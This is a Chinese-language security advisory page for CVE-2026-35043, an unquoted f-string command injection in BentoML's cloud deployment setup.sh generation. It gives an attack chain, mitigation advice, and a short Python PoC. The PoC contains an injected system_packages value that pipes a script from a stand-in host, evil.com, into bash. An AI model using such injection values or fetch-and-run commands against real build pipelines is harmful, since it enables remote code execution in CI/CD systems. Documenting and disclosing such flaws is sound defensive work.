IPBUF安全漏洞报告
English
CVE-2026-35043 CVSS 7.8 高危

CVE-2026-35043 BentoML云部署命令注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35043
漏洞类型
远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
BentoML

相关标签

RCE命令注入BentoML云安全CVE-2026-35043

漏洞概述

BentoML是一个用于构建AI应用和模型推理的Python库。在1.4.38版本之前,其云部署路径存在安全漏洞。该漏洞源于对CVE-2026-33744的修复不完整,代码直接使用f-string将system_packages插入shell命令且未加引号。生成的脚本作为setup.sh上传至BentoCloud并在部署时执行,导致攻击者在CI/CD层级实现远程代码执行。

技术细节

该漏洞位于BentoML的云部署功能模块中,具体文件为src/bentoml/_internal/cloud/deployment.py。问题出在第1648行,开发人员使用了Python的f-string格式化方式将system_packages变量直接拼接到shell命令中。由于没有对变量内容进行转义或添加引号包裹,攻击者如果能够控制system_packages的值,就可以注入恶意的shell命令。尽管该漏洞被标记为本地攻击向量(AV:L),但在云部署场景下,恶意构造的system_packages会被写入上传到BentoCloud的setup.sh脚本中。当BentoCloud的构建基础设施在部署阶段执行此脚本时,注入的命令将以构建环境的权限运行,从而在CI/CD系统中实现远程代码执行。

攻击链分析

STEP 1
1. 侦察
攻击者发现BentoML在云部署路径中对CVE-2026-33744的修复不完整,特别是deployment.py第1648行存在命令注入风险。
STEP 2
2. 制作载荷
攻击者构造恶意的`system_packages`参数,在值中注入shell元字符(如分号或反引号)以拼接恶意命令。
STEP 3
3. 触发部署
攻击者利用包含恶意参数的配置向BentoCloud发起部署请求。
STEP 4
4. 脚本生成
BentoML在处理部署时,通过f-string将恶意参数直接拼接到setup.sh脚本中并上传。
STEP 5
5. 执行命令
BentoCloud的构建基础设施执行setup.sh,触发注入的恶意代码,导致CI/CD环境被攻陷。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Demonstration for CVE-2026-35043 # The vulnerability occurs when 'system_packages' is interpolated into a shell command # without proper quoting in deployment.py line 1648. def vulnerable_deployment_command(system_packages): # This mimics the vulnerable f-string interpolation # Line 1648: script_content = f"apt-get install -y {system_packages}" return f"apt-get install -y {system_packages}" # Malicious input designed to break out of the command context # This input attempts to execute a reverse shell or arbitrary command malicious_packages = "vim; curl http://evil.com/pwn.sh | bash; #" # The generated command would be: # apt-get install -y vim; curl http://evil.com/pwn.sh | bash; # # which executes both package installation and the malicious script. generated_script = vulnerable_deployment_command(malicious_packages) print(f"Generated setup.sh content: {generated_script}")

影响范围

BentoML < 1.4.38

防御指南

临时缓解措施
建议立即升级BentoML至1.4.38或更高版本。在升级前,请严格审查云部署配置中的system_packages字段,确保不包含特殊字符或未受信任的输入。同时,限制构建基础设施的外出网络访问权限,以减少潜在RCE的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表